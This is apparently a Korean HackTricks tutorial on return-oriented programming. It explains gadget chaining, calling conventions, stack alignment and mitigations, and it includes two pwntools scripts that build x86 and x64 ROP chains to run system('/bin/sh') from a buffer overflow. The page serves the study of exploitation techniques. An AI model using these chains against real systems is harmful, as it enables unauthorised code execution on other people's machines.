ROP - Return Oriented Programing

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

**Return-Oriented Programming (ROP)**๋Š” No-Execute (NX) ๋˜๋Š” **Data Execution Prevention (DEP)**์™€ ๊ฐ™์€ ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๊ณ ๊ธ‰ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์‰˜์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๋Œ€์‹ , ๋ฐ”์ด๋„ˆ๋ฆฌ ๋˜๋Š” ๋กœ๋“œ๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์ด๋ฏธ ์กด์žฌํ•˜๋Š” ์ฝ”๋“œ ์กฐ๊ฐ์„ ํ™œ์šฉํ•˜๋ฉฐ, ์ด๋ฅผ **โ€œ๊ฐ€์ ฏโ€**์ด๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ๊ฐ€์ ฏ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ret ๋ช…๋ น์–ด๋กœ ๋๋‚˜๋ฉฐ, ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ„ ๋ฐ์ดํ„ฐ ์ด๋™ ๋˜๋Š” ์‚ฐ์ˆ  ์—ฐ์‚ฐ๊ณผ ๊ฐ™์€ ์ž‘์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฐ€์ ฏ์„ ์—ฐ๊ฒฐํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๋Š” ์ž„์˜์˜ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํšจ๊ณผ์ ์œผ๋กœ NX/DEP ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ROP ์ž‘๋™ ๋ฐฉ์‹

  1. ์ œ์–ด ํ๋ฆ„ ํƒˆ์ทจ: ๋จผ์ €, ๊ณต๊ฒฉ์ž๋Š” ํ”„๋กœ๊ทธ๋žจ์˜ ์ œ์–ด ํ๋ฆ„์„ ํƒˆ์ทจํ•ด์•ผ ํ•˜๋ฉฐ, ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์ด์šฉํ•ด ์Šคํƒ์— ์ €์žฅ๋œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์”๋‹ˆ๋‹ค.
  2. ๊ฐ€์ ฏ ์ฒด์ด๋‹: ๊ณต๊ฒฉ์ž๋Š” ์›ํ•˜๋Š” ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ๊ฐ€์ ฏ์„ ์‹ ์ค‘ํ•˜๊ฒŒ ์„ ํƒํ•˜๊ณ  ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ•จ์ˆ˜ ํ˜ธ์ถœ์„ ์œ„ํ•œ ์ธ์ˆ˜๋ฅผ ์„ค์ •ํ•˜๊ณ , ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ฉฐ(์˜ˆ: system("/bin/sh")), ํ•„์š”ํ•œ ์ •๋ฆฌ ์ž‘์—…์ด๋‚˜ ์ถ”๊ฐ€ ์ž‘์—…์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  3. ํŽ˜์ด๋กœ๋“œ ์‹คํ–‰: ์ทจ์•ฝํ•œ ํ•จ์ˆ˜๊ฐ€ ๋ฐ˜ํ™˜๋  ๋•Œ, ํ•ฉ๋ฒ•์ ์ธ ์œ„์น˜๋กœ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋Œ€์‹  ๊ฐ€์ ฏ ์ฒด์ธ์„ ์‹คํ–‰ํ•˜๊ธฐ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

๋„๊ตฌ

์ผ๋ฐ˜์ ์œผ๋กœ ๊ฐ€์ ฏ์€ ROPgadget, ropper ๋˜๋Š” pwntools(ROP)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

x86์—์„œ์˜ ROP ์ฒด์ธ ์˜ˆ์ œ

x86 (32๋น„ํŠธ) ํ˜ธ์ถœ ๊ทœ์•ฝ

  • cdecl: ํ˜ธ์ถœ์ž๊ฐ€ ์Šคํƒ์„ ์ •๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ํ•จ์ˆ˜ ์ธ์ˆ˜๋Š” ์—ญ์ˆœ(์˜ค๋ฅธ์ชฝ์—์„œ ์™ผ์ชฝ์œผ๋กœ)์œผ๋กœ ์Šคํƒ์— ํ‘ธ์‹œ๋ฉ๋‹ˆ๋‹ค. ์ธ์ˆ˜๋Š” ์˜ค๋ฅธ์ชฝ์—์„œ ์™ผ์ชฝ์œผ๋กœ ์Šคํƒ์— ํ‘ธ์‹œ๋ฉ๋‹ˆ๋‹ค.
  • stdcall: cdecl๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ, ํ”ผํ˜ธ์ถœ์ž๊ฐ€ ์Šคํƒ์„ ์ •๋ฆฌํ•  ์ฑ…์ž„์ด ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฐ€์ ฏ ์ฐพ๊ธฐ

๋จผ์ €, ๋ฐ”์ด๋„ˆ๋ฆฌ ๋˜๋Š” ๋กœ๋“œ๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋‚ด์—์„œ ํ•„์š”ํ•œ ๊ฐ€์ ฏ์„ ์‹๋ณ„ํ–ˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ๊ด€์‹ฌ ์žˆ๋Š” ๊ฐ€์ ฏ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • pop eax; ret: ์ด ๊ฐ€์ ฏ์€ ์Šคํƒ์˜ ์ตœ์ƒ์œ„ ๊ฐ’์„ EAX ๋ ˆ์ง€์Šคํ„ฐ๋กœ ํŒํ•˜๊ณ  ๋ฐ˜ํ™˜ํ•˜์—ฌ EAX๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • pop ebx; ret: ์œ„์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ EBX ๋ ˆ์ง€์Šคํ„ฐ์— ๋Œ€ํ•œ ๊ฒƒ์œผ๋กœ, EBX๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • mov [ebx], eax; ret: EAX์˜ ๊ฐ’์„ EBX๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ฉ”๋ชจ๋ฆฌ ์œ„์น˜๋กœ ์ด๋™ํ•˜๊ณ  ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ข…์ข… write-what-where gadget์ด๋ผ๊ณ  ๋ถˆ๋ฆฝ๋‹ˆ๋‹ค.
  • ์ถ”๊ฐ€๋กœ, system() ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ROP ์ฒด์ธ

pwntools๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ROP ์ฒด์ธ ์‹คํ–‰์„ ์œ„ํ•ด ์Šคํƒ์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค. system('/bin/sh')๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋ฉฐ, ์ฒด์ธ์ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹œ์ž‘๋จ์„ ์ฃผ๋ชฉํ•˜์‹ญ์‹œ์˜ค:

  1. ์ •๋ ฌ์„ ์œ„ํ•œ ret ๋ช…๋ น์–ด (์„ ํƒ ์‚ฌํ•ญ)
  2. system ํ•จ์ˆ˜์˜ ์ฃผ์†Œ (ASLR ๋น„ํ™œ์„ฑํ™” ๋ฐ libc๊ฐ€ ์•Œ๋ ค์ง„ ๊ฒฝ์šฐ, ๋” ๋งŽ์€ ์ •๋ณด๋Š” Ret2lib์—์„œ ํ™•์ธ)
  3. system()์—์„œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์œ„ํ•œ ์ž๋ฆฌ ํ‘œ์‹œ์ž
  4. "/bin/sh" ๋ฌธ์ž์—ด ์ฃผ์†Œ (system ํ•จ์ˆ˜์˜ ๋งค๊ฐœ๋ณ€์ˆ˜)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP ์ฒด์ธ x64 ์˜ˆ์ œ

x64 (64๋น„ํŠธ) ํ˜ธ์ถœ ๊ทœ์•ฝ

  • ์œ ๋‹‰์Šค ๊ณ„์—ด ์‹œ์Šคํ…œ์—์„œ System V AMD64 ABI ํ˜ธ์ถœ ๊ทœ์•ฝ์„ ์‚ฌ์šฉํ•˜๋ฉฐ, **์ฒซ ์—ฌ์„ฏ ๊ฐœ์˜ ์ •์ˆ˜ ๋˜๋Š” ํฌ์ธํ„ฐ ์ธ์ž๋Š” ๋ ˆ์ง€์Šคํ„ฐ RDI, RSI, RDX, RCX, R8, R9**์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ์ธ์ž๋Š” ์Šคํƒ์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜ํ™˜ ๊ฐ’์€ RAX์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.
  • Windows x64 ํ˜ธ์ถœ ๊ทœ์•ฝ์€ ์ฒซ ๋„ค ๊ฐœ์˜ ์ •์ˆ˜ ๋˜๋Š” ํฌ์ธํ„ฐ ์ธ์ž๋ฅผ ์œ„ํ•ด RCX, RDX, R8, R9๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ถ”๊ฐ€ ์ธ์ž๋Š” ์Šคํƒ์— ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜ํ™˜ ๊ฐ’์€ RAX์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.
  • ๋ ˆ์ง€์Šคํ„ฐ: 64๋น„ํŠธ ๋ ˆ์ง€์Šคํ„ฐ์—๋Š” RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, R8์—์„œ R15๊นŒ์ง€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

๊ฐ€์ ฏ ์ฐพ๊ธฐ

์šฐ๋ฆฌ์˜ ๋ชฉ์ ์„ ์œ„ํ•ด, RDI ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€์ ฏ์— ์ง‘์ค‘ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค (์ธ์ž๋กœ **system()**์— โ€œ/bin/shโ€ ๋ฌธ์ž์—ด์„ ์ „๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด) ๊ทธ๋ฆฌ๊ณ  system() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ๊ฐ€์ ฏ์„ ์‹๋ณ„ํ–ˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค:

  • pop rdi; ret: ์Šคํƒ์˜ ์ตœ์ƒ์œ„ ๊ฐ’์„ RDI์— ํŒํ•˜๊ณ  ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. **system()**์˜ ์ธ์ž๋ฅผ ์„ค์ •ํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค.
  • ret: ๊ฐ„๋‹จํ•œ ๋ฐ˜ํ™˜์œผ๋กœ, ์ผ๋ถ€ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ์Šคํƒ ์ •๋ ฌ์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์šฐ๋ฆฌ๋Š” system() ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

ROP ์ฒด์ธ

์•„๋ž˜๋Š” pwntools๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ x64์—์„œ **system(โ€˜/bin/shโ€™)**๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ROP ์ฒด์ธ์„ ์„ค์ •ํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ์˜ˆ์ œ์ž…๋‹ˆ๋‹ค:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

์ด ์˜ˆ์ œ์—์„œ:

  • ์šฐ๋ฆฌ๋Š” pop rdi; ret ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•˜์—ฌ **RDI**๋ฅผ **"/bin/sh"**์˜ ์ฃผ์†Œ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • **RDI**๋ฅผ ์„ค์ •ํ•œ ํ›„, ์ฒด์ธ์— **system()**์˜ ์ฃผ์†Œ๊ฐ€ ์žˆ๋Š” ์ƒํƒœ์—์„œ **system()**์œผ๋กœ ์ง์ ‘ ์ ํ”„ํ•ฉ๋‹ˆ๋‹ค.
  • **ret_gadget**์€ ๋Œ€์ƒ ํ™˜๊ฒฝ์ด ํ•„์š”๋กœ ํ•  ๊ฒฝ์šฐ ์ •๋ ฌ์„ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋ฉฐ, ์ด๋Š” x64์—์„œ ํ•จ์ˆ˜ ํ˜ธ์ถœ ์ „์— ์ ์ ˆํ•œ ์Šคํƒ ์ •๋ ฌ์„ ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด ๋” ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค.

์Šคํƒ ์ •๋ ฌ

x86-64 ABI๋Š” call instruction์ด ์‹คํ–‰๋  ๋•Œ ์Šคํƒ์ด 16๋ฐ”์ดํŠธ ์ •๋ ฌ๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. LIBC๋Š” ์„ฑ๋Šฅ ์ตœ์ ํ™”๋ฅผ ์œ„ํ•ด SSE instructions(์˜ˆ: movaps)๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ด ์ •๋ ฌ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์Šคํƒ์ด ์ œ๋Œ€๋กœ ์ •๋ ฌ๋˜์ง€ ์•Š์œผ๋ฉด(RSP๊ฐ€ 16์˜ ๋ฐฐ์ˆ˜๊ฐ€ ์•„๋‹ ๊ฒฝ์šฐ) system๊ณผ ๊ฐ™์€ ํ•จ์ˆ˜ ํ˜ธ์ถœ์ด ROP chain์—์„œ ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ•ด๊ฒฐํ•˜๋ ค๋ฉด, ROP ์ฒด์ธ์—์„œ system์„ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์— ret gadget์„ ์ถ”๊ฐ€ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

x86๊ณผ x64์˜ ์ฃผ์š” ์ฐจ์ด์ 

Tip

x64๋Š” ์ฒ˜์Œ ๋ช‡ ๊ฐœ์˜ ์ธ์ˆ˜์— ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ, ๊ฐ„๋‹จํ•œ ํ•จ์ˆ˜ ํ˜ธ์ถœ์„ ์œ„ํ•ด x86๋ณด๋‹ค ๋” ์ ์€ ๊ฐ€์ ฏ์„ ํ•„์š”๋กœ ํ•˜์ง€๋งŒ, ๋ ˆ์ง€์Šคํ„ฐ ์ˆ˜๊ฐ€ ์ฆ๊ฐ€ํ•˜๊ณ  ์ฃผ์†Œ ๊ณต๊ฐ„์ด ์ปค์ง์— ๋”ฐ๋ผ ์˜ฌ๋ฐ”๋ฅธ ๊ฐ€์ ฏ์„ ์ฐพ๊ณ  ์—ฐ๊ฒฐํ•˜๋Š” ๊ฒƒ์ด ๋” ๋ณต์žกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. x64 ์•„ํ‚คํ…์ฒ˜์˜ ์ฆ๊ฐ€๋œ ๋ ˆ์ง€์Šคํ„ฐ ์ˆ˜์™€ ๋” ํฐ ์ฃผ์†Œ ๊ณต๊ฐ„์€ ํŠนํžˆ Return-Oriented Programming (ROP) ๋งฅ๋ฝ์—์„œ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ฐœ๋ฐœ์— ๊ธฐํšŒ์™€ ๋„์ „์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

ARM64 ์˜ˆ์ œ์˜ ROP ์ฒด์ธ

ARM64 ๊ธฐ์ดˆ ๋ฐ ํ˜ธ์ถœ ๊ทœ์•ฝ

์ด ์ •๋ณด๋ฅผ ๋ณด๋ ค๋ฉด ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

Introduction to ARM64v8

ROP์— ๋Œ€ํ•œ ๋ณดํ˜ธ ์กฐ์น˜

  • ASLR & PIE: ์ด๋Ÿฌํ•œ ๋ณดํ˜ธ ์กฐ์น˜๋Š” ๊ฐ€์ ฏ์˜ ์ฃผ์†Œ๊ฐ€ ์‹คํ–‰ ๊ฐ„์— ๋ณ€๊ฒฝ๋˜๋ฏ€๋กœ ROP ์‚ฌ์šฉ์„ ๋” ์–ด๋ ต๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • ์Šคํƒ ์นด๋‚˜๋ฆฌ: BOF์˜ ๊ฒฝ์šฐ, ROP ์ฒด์ธ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ๋ฐ˜ํ™˜ ํฌ์ธํ„ฐ๋ฅผ ๋ฎ์–ด์“ฐ๋ ค๋ฉด ์Šคํƒ ์นด๋‚˜๋ฆฌ๋ฅผ ์šฐํšŒํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฐ€์ ฏ ๋ถ€์กฑ: ๊ฐ€์ ฏ์ด ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์œผ๋ฉด ROP ์ฒด์ธ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

ROP ๊ธฐ๋ฐ˜ ๊ธฐ์ˆ 

ROP๋Š” ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๊ธฐ์ˆ ์ผ ๋ฟ์ž„์„ ์œ ์˜ํ•˜์„ธ์š”. ROP๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๋งŽ์€ Ret2XXX ๊ธฐ์ˆ ์ด ๊ฐœ๋ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

  • Ret2lib: ROP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž„์˜์˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ๋กœ๋“œ๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ž„์˜์˜ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค(๋ณดํ†ต system('/bin/sh')์™€ ๊ฐ™์€ ํ˜•ํƒœ).

Ret2lib

  • Ret2Syscall: ROP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ์ค€๋น„ํ•˜๊ณ , ์˜ˆ๋ฅผ ๋“ค์–ด execve๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Ret2syscall

  • EBP2Ret & EBP ์ฒด์ด๋‹: ์ฒซ ๋ฒˆ์งธ๋Š” ํ๋ฆ„์„ ์ œ์–ดํ•˜๊ธฐ ์œ„ํ•ด EIP ๋Œ€์‹  EBP๋ฅผ ์•…์šฉํ•˜๊ณ , ๋‘ ๋ฒˆ์งธ๋Š” Ret2lib์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ ์ด ๊ฒฝ์šฐ ํ๋ฆ„์€ ์ฃผ๋กœ EBP ์ฃผ์†Œ๋กœ ์ œ์–ด๋ฉ๋‹ˆ๋‹ค(๋ฌผ๋ก  EIP๋„ ์ œ์–ดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค).

Stack Pivoting - EBP2Ret - EBP chaining

๊ธฐํƒ€ ์˜ˆ์ œ ๋ฐ ์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ